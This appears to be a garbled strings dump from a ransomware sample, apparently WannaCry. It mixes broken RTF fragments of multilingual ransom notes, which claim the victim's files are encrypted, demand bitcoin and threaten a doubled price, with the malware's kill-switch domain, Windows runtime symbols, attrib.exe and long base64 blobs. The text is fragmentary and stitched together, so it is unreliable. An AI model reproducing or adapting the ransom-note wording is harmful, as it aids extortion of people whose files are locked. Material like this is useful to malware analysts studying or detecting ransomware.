\\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 bi}{ \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 p ti \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 i gian. \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 a b}{ \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid5593755\\charrsid11698073 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 >. Paras aika tarkistaa: klo 9.00-11.00 GMT maanantaista perjantaihin. \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 i fi}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 i ni}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 i. \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 ierele importante sunt criptate. \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 ierele pentru totdeauna. \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 te bitcoins. Pentru mai multe informa}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 ul va fi dublat. \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8528114 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Contact Us}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid12997017\\charrsid8528114 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 >. \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 i thanh to\\'e1\\loch\\f31528 \\hich\\f31528 n. Sau \\'f0\\'f3\\loch\\f31528 \\hich\\f31528 gi\\'e1\\loch\\f31528 s}{\\rtlch\\fcs1 \\af2 \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 n \\'f0}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 \\rtlch\\fcs1 \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 12290\\'81\\'42}{\\rtlch\\fcs1 \\af41\\afs22 \\ltrch\\fcs0 \\rtlch\\fcs1 \\af53\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\rtlch\\fcs1 \\af90\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\sbasedon10 \\slink15 \\slocked \\styrsid1838094 Plain Text Char;}}{\\*\\rsidtbl \\rsid1838094\\rsid1847526\\rsid2183709\\rsid6386681\\rsid13717663\\rsid14237745\\rsid14432744\\rsid15144481\\rsid15301782}{\\mmathPr\\mmathFont34\\mbrkBin0\\mbrkBinSub0\\msmallFrac0\\mdispDef1 \\sbasedon10 \\slink15 \\slocked \\styrsid3689921 Plain Text Char;}}{\\*\\rsidtbl \\rsid1847526\\rsid2183709\\rsid3689921\\rsid5275506\\rsid14178431\\rsid14237745\\rsid14432744\\rsid15289305}{\\mmathPr\\mmathFont34\\mbrkBin0\\mbrkBinSub0\\msmallFrac0\\mdispDef1\\mlMargin0 \\Sessions\\1\\Windows\\ApiPort \\snext0 \\sqformat \\spriority0 \\styrsid1847526 Normal;}{\\*\\cs10 \\additive \\ssemihidden \\sunhideused \\spriority1 Default Paragraph Font;}{\\* \\snext11 \\ssemihidden \\sunhideused \\sqformat Normal Table;}{\\s15\\ql \\li0\\ri0\\widctlpar\\wrapdefault\\aspalpha\\aspnum\\faauto\\adjustright\\rin0\\lin0\\itap0 \\rtlch\\fcs1 \\af41\\afs21\\alang1025 \\ltrch\\fcs0 \\ThemeApiPort \\ts11\\tsrowd\\trftsWidthB3\\trpaddl108\\trpaddr108\\trpaddfl3\\trpaddft3\\trpaddfb3\\trpaddfr3\\trcbpat1\\trcfpat1\\tblind0\\tblindtype3\\tscellwidthfts0\\tsvertalt\\tsbrdrt\\tsbrdrl\\tsbrdrb\\tsbrdrr\\tsbrdrdgl\\tsbrdrdgr\\tsbrdrh\\tsbrdrv \\ql \\li0\\ri0\\sa200\\sl276\\slmult1 -27273\\'92\\'b7}{\\rtlch\\fcs1 \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -244\\'81\\'43}{\\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 -28558\\'e7\\'ad}{\\rtlch\\fcs1 \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 12290\\'81\\'42}{\\rtlch\\fcs1 \\af41\\afs22 \\ltrch\\fcs0 -32515\\'94\\'5c\ \\af36\\afs22 \\ltrch\\fcs0 12290\\'81\\'42}{\\rtlch\\fcs1 \\af41\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\line }{\\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 19981\\'95\\'73\ \\af36\\afs22 \\ltrch\\fcs0 19981\\'a4\\'a3\ 20063\\'a4\\'5d\ \\af90\\afs22 \\ltrch\\fcs0 20102\\'a4\\'46\ 20123\\'8d\\'b1\ \\af41\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 12290\\'81\\'42}{\\rtlch\\fcs1 \\af12\\afs22 20214\\'8c\\'8f\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 20493\\'ad\\'bf\ \\af90\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 21069\\'91\\'4f}{\\rtlch\\fcs1 \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\cf6\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -244\\'81\\'43}{\\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 21209\\'96\\'b1}{\\rtlch\\fcs1 \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -244\\'81\\'43}{\\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 23433\\'a6\\'77\ \\af90\\afs22 \\ltrch\\fcs0 23494\\'96\\'a7\ \\af41\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 23565\\'9b\\'94}{\\rtlch\\fcs1 \\af11\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 c1\ 24163\\'95\\'bc}{\\rtlch\\fcs1 \\af41\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 12290\\'81\\'42}{\\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 24489\\'95\\'9c\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 12290\\'81\\'42}{\\rtlch\\fcs1 \\af41\\afs22 25214\\'a7\\'e4\ 25991\\'a4\\'e5\ \\af53\\afs22 \\ltrch\\fcs0 \\b\\fs28\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 26377\\'97\\'4c\ \\af41\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 27454\\'8a\\'bc\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -244\\'81\\'43}{ 27602\\'93\\'c5\ \\af41\\afs22 \\ltrch\\fcs0 \\fs22\\cf6\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 12290\\'81\\'42}{\\rtlch\\fcs1 32763\\'96\\'7c\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 12290\\'81\\'42}{\\rtlch\\fcs1 \\af41\\afs22 \\ltrch\\fcs0 c1\ \\af53\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 c1\ \\af53\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\hich\\af18\\dbch\\af18\\loch\\f18 }{\\rtlch\\fcs1 \\af90\\afs22 \\ltrch\\fcs0 c1\ \\af90\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\hich\\af18\\dbch\\af18\\loch\\f18 }{\\rtlch\\fcs1 c1\ \\af41\\afs22 c1\ c1\ \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 iere\\hich\\af31502\\dbch\\af31505\\loch\\f31502 le mele? c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 ierele, dar nu pierde}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 n ngay c}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 c1\ \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 n \\'f0}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 c1\ \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 i gian, cho \\'f0}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 a b}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c2\ \\af90\\afs22 \\ltrch\\fcs0 c2\ \\af53\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 c2\ c2\ \\af90\\afs22 \\ltrch\\fcs0 c2\ seltbaln\\alntblind\\lytcalctblwd\\lyttblrtgr\\lnbrkrule\\nobrkwrptbl\\snaptogridincell\\allowfieldendsel\\wrppunct\\asianbrkrule \\widctlpar\\wrapdefault\\aspalpha\\aspnum\\faauto\\adjustright\\rin0\\lin0\\itap0 \\rtlch\\fcs1 \\af0\\afs22\\alang1025 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1042\\loch\\f31506\\hich\\af31506\\dbch\\af31505\\cgrid\\langnp1033\\langfenp1042 \\widctlpar\\wrapdefault\\aspalpha\\aspnum\\faauto\\adjustright\\rin0\\lin0\\itap0 \\rtlch\\fcs1 \\af31507\\afs22\\alang1025 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1042\\loch\\f31506\\hich\\af31506\\dbch\\af31505\\cgrid\\langnp1033\\langfenp1042 \\widctlpar\\wrapdefault\\aspalpha\\aspnum\\faauto\\adjustright\\rin0\\lin0\\itap0 }\\noqfpromote {\\stylesheet{\\ql \\li0\\ri0\\sa200\\sl276\\slmult1\\widctlpar\\wrapdefault\\aspalpha\\aspnum\\faauto\\adjustright\\rin0\\lin0\\itap0 \\rtlch\\fcs1 \\af31507\\afs22\\alang1025 \\widowctrl\\ftnbj\\aenddoc\\trackmoves1\\trackformatting1\\donotembedsysfont1\\relyonvml0\\donotembedlingdata0\\grfdocevents0\\validatexml1\\showplaceholdtext0\\ignoremixedcontent0\\saveinvalidxml0\\showxmlerrors1\\noxlattoyen \\Windows\\ApiPort ]M(y /.8$ ]PC(r(t)t __cfduidd601df8d69eccd96df5a5e5fc812588201527694466iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/92167001653763074226925032040030668850* __cfduidda10305ee2446276c19f4d5c76c652efe1527694462iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/921666016537630742269314450644630668849* __CxxFrameHandler __getmainargs __p__commode _acmdln _local_unwind2 a ch}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 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 A_A^A]A\\][^_ A_A^A]A\\^_][ AddressFamily ar a descriptografar seus arquivos imediatamente. attrib.exe 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